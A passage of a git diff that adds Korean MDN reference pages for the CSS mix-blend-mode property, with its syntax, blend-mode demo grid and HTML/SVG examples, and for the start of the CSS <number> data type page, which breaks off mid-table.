+<p><strong><code>mix-blend-mode</code> </strong><a href="/ko/docs/Web/API/CSS">CSS</a> 속성은 어느 요소의 콘텐츠가 자신의 배경 및 부모와 어떻게 혼합되어야 하는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* 전역 값 */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;blend-mode&gt;")}}</dt>
+ <dd>적용할 혼합 모드.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<div class="hidden" id="mix-blend-mode">
+<pre class="brush: html">&lt;div class="grid"&gt;
+ &lt;div class="col"&gt;
+ &lt;div class="note"&gt;Blending in isolation (no blending with the background)&lt;/div&gt;
+ &lt;div class="row isolate"&gt;
+ &lt;div class="cell"&gt; normal
+ &lt;div class="container normal"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;defs&gt;
+ &lt;linearGradient id="red"&gt;
+ &lt;stop offset="0" stop-color="hsl(0,100%,50%)" /&gt;
+ &lt;stop offset="100%" stop-color="hsl(0,0%,100%)" /&gt;
+ &lt;/linearGradient&gt;
+ &lt;linearGradient id="green"&gt;
+ &lt;stop offset="0" stop-color="hsl(120,100%,50%)" /&gt;
+ &lt;stop offset="100%" stop-color="hsl(120,0%,100%)" /&gt;
+ &lt;/linearGradient&gt;
+ &lt;linearGradient id="blue"&gt;
+ &lt;stop offset="0" stop-color="hsl(240,100%,50%)" /&gt;
+ &lt;stop offset="100%" stop-color="hsl(240,0%,100%)" /&gt;
+ &lt;/linearGradient&gt;
+ &lt;/defs&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; multiply
+ &lt;div class="container multiply"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; darken
+ &lt;div class="container darken"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; screen
+ &lt;div class="container screen"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; lighten
+ &lt;div class="container lighten"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; overlay
+ &lt;div class="container overlay"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; color-dodge
+ &lt;div class="container color-dodge"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; color-burn
+ &lt;div class="container color-burn"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; hard-light
+ &lt;div class="container hard-light"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; soft-light
+ &lt;div class="container soft-light"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; difference
+ &lt;div class="container difference"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; exclusion
+ &lt;div class="container exclusion"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; hue
+ &lt;div class="container hue"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; saturation
+ &lt;div class="container saturation"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; color
+ &lt;div class="container color"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; luminosity
+ &lt;div class="container luminosity"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div class="note"&gt;Blending globally (blend with the background)&lt;/div&gt;
+ &lt;div class="row"&gt;
+ &lt;div class="cell"&gt; normal
+ &lt;div class="container normal"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; multiply
+ &lt;div class="container multiply"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; darken
+ &lt;div class="container darken"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; screen
+ &lt;div class="container screen"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; lighten
+ &lt;div class="container lighten"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; overlay
+ &lt;div class="container overlay"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; color-dodge
+ &lt;div class="container color-dodge"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; color-burn
+ &lt;div class="container color-burn"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; hard-light
+ &lt;div class="container hard-light"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; soft-light
+ &lt;div class="container soft-light"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; difference
+ &lt;div class="container difference"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; exclusion
+ &lt;div class="container exclusion"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; hue
+ &lt;div class="container hue"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; saturation
+ &lt;div class="container saturation"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; color
+ &lt;div class="container color"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div class="cell"&gt; luminosity
+ &lt;div class="container luminosity"&gt;
+ &lt;div class="group"&gt;
+ &lt;div class="item firefox"&gt;&lt;/div&gt;
+ &lt;svg viewBox="0 0 150 150"&gt;
+ &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+ &lt;/svg&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+ height: 100%;
+ box-sizing: border-box;
+ background: #EEE;
+}
+
+.grid {
+ width: 100%;
+ display: flex;
+ font: 1em monospace;
+}
+
+.row {
+ display: flex;
+ flex: 1 auto;
+ flex-direction: row;
+ flex-wrap: wrap;
+ height: auto;
+}
+
+.col {
+ display: flex;
+ flex: 1 auto;
+ flex-direction: column;
+ height: auto;
+}
+
+.cell {
+ margin: .5em;
+ padding: .5em;
+ background-color: #FFF;
+ overflow: hidden;
+ text-align: center;
+}
+
+.note {
+ background: #fff3d4;
+ padding: 1em;
+ margin: .5em .5em 0;
+ font: .8em sans-serif;
+ text-align: left;
+ white-space: nowrap;
+}
+
+.note + .row .cell {
+ margin-top: 0;
+}
+
+.container {
+ position: relative;
+ background: linear-gradient(to right, #000 0%, transparent 50%, #FFF 100%),
+ linear-gradient(to bottom, #FF0 0%, #F0F 50%, #0FF 100%);
+ width: 150px;
+ height: 150px;
+ margin: 0 auto;
+}
+
+.R {
+ transform-origin: center;
+ transform: rotate(-30deg);
+ fill: url(#red);
+}
+
+.G {
+ transform-origin: center;
+ transform: rotate(90deg);
+ fill: url(#green);
+}
+
+.B {
+ transform-origin: center;
+ transform: rotate(210deg);
+ fill: url(#blue);
+}
+
+.isolate .group { isolation: isolate; }
+
+.normal .item { mix-blend-mode: normal; }
+.multiply .item { mix-blend-mode: multiply; }
+.screen .item { mix-blend-mode: screen; }
+.overlay .item { mix-blend-mode: overlay; }
+.darken .item { mix-blend-mode: darken; }
+.lighten .item { mix-blend-mode: lighten; }
+.color-dodge .item { mix-blend-mode: color-dodge; }
+.color-burn .item { mix-blend-mode: color-burn; }
+.hard-light .item { mix-blend-mode: hard-light; }
+.soft-light .item { mix-blend-mode: soft-light; }
+.difference .item { mix-blend-mode: difference; }
+.exclusion .item { mix-blend-mode: exclusion; }
+.hue .item { mix-blend-mode: hue; }
+.saturation .item { mix-blend-mode: saturation; }
+.color .item { mix-blend-mode: color; }
+.luminosity .item { mix-blend-mode: luminosity; }</pre>
+</div>
+
+<div>{{EmbedLiveSample("mix-blend-mode", "100%", 1600, "", "", "example-outcome-frame")}}</div>
+
+<h3 id="HTML_예제">HTML 예제</h3>
+
+<pre class="brush: html">&lt;div class="isolate"&gt;
+ &lt;div class="circle circle-1"&gt;&lt;/div&gt;
+ &lt;div class="circle circle-2"&gt;&lt;/div&gt;
+ &lt;div class="circle circle-3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">.circle {
+ width: 80px;
+ height: 80px;
+ border-radius: 50%;
+ mix-blend-mode: screen;
+ position: absolute;
+}
+
+.circle-1 {
+ background: red;
+}
+
+.circle-2 {
+ background: lightgreen;
+ left: 40px;
+}
+
+.circle-3 {
+ background: blue;
+ left: 20px;
+ top: 40px;
+}
+
+.isolate {
+ isolation: isolate; /* Without isolation, the background color will be taken into account */
+ position: relative;
+}</pre>
+
+<p>{{EmbedLiveSample("HTML_예제", "100%", "180")}}</p>
+
+<h3 id="SVG_예제">SVG 예제</h3>
+
+<p>다음은 이전의 예제를 SVG로 구현한 것입니다.</p>
+
+<pre class="brush: html">&lt;svg&gt;
+ &lt;g class="isolate"&gt;
+ &lt;circle cx="40" cy="40" r="40" fill="red"/&gt;
+ &lt;circle cx="80" cy="40" r="40" fill="lightgreen"/&gt;
+ &lt;circle cx="60" cy="80" r="40" fill="blue"/&gt;
+ &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush:css">circle { mix-blend-mode: screen; }
+.isolate { isolation: isolate; } /* Without isolation, the background color will be taken into account */
+</pre>
+
+<p>{{EmbedLiveSample("SVG_예제", "100%", "180")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode') }}</td>
+ <td>{{ Spec2('Compositing') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.mix-blend-mode")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/ko/web/css/number/index.html b/files/ko/web/css/number/index.html
new file mode 100644
index 0000000000..cc336a6ec2
--- /dev/null
+++ b/files/ko/web/css/number/index.html
@@ -0,0 +1,85 @@
+---
+title: <number>
+slug: Web/CSS/number
+tags:
+ - CSS
+ - CSS Data Type
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/number
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;number&gt;</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/CSS_Types">자료형</a>은 숫자, 즉 정수 또는 실수를 표현합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;number&gt;</code> 구문은 {{cssxref("&lt;integer&gt;")}} 구문을 확장합니다. 소수점 이하 값은 <code>.</code> 뒤로 한 개 이상의 10진수 숫자를 붙여 표현하며, 정수 뒤에 이어 붙일 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.</p>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;number&gt;</code> 자료형의 값은 유동소수점 실수를 사용해 보간합니다. 보간의 속도는 애니메이션과 연결된 <a href="/ko/docs/Web/CSS/single-transition-timing-function" rel="nofollow">timing function</a>이 결정합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_숫자">유효한 숫자</h3>
+
+<pre class="syntaxbox example-good">12 &lt;integer&gt;는 &lt;number&gt;
+4.01 양의 실수
+-456.8 음의 실수
+0.0 0
++0.0 0, 양의 부호
+-0.0 0, 음의 부호
+.60 앞의 0 없는 소수점 이하 값
+10e3 과학적 표기법
+-3.4e-2 복잡한 과학적 표기법
+</pre>
+
+<h3 id="유효하지_않은_숫자">유효하지 않은 숫자</h3>
+
+<pre class="syntaxbox example-bad">12. 소수점 뒤에 최소 하나의 숫자가 존재해야 함
++-12.2 하나의 +/-만 허용
+12.1.1 하나의 소수점만 허용
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
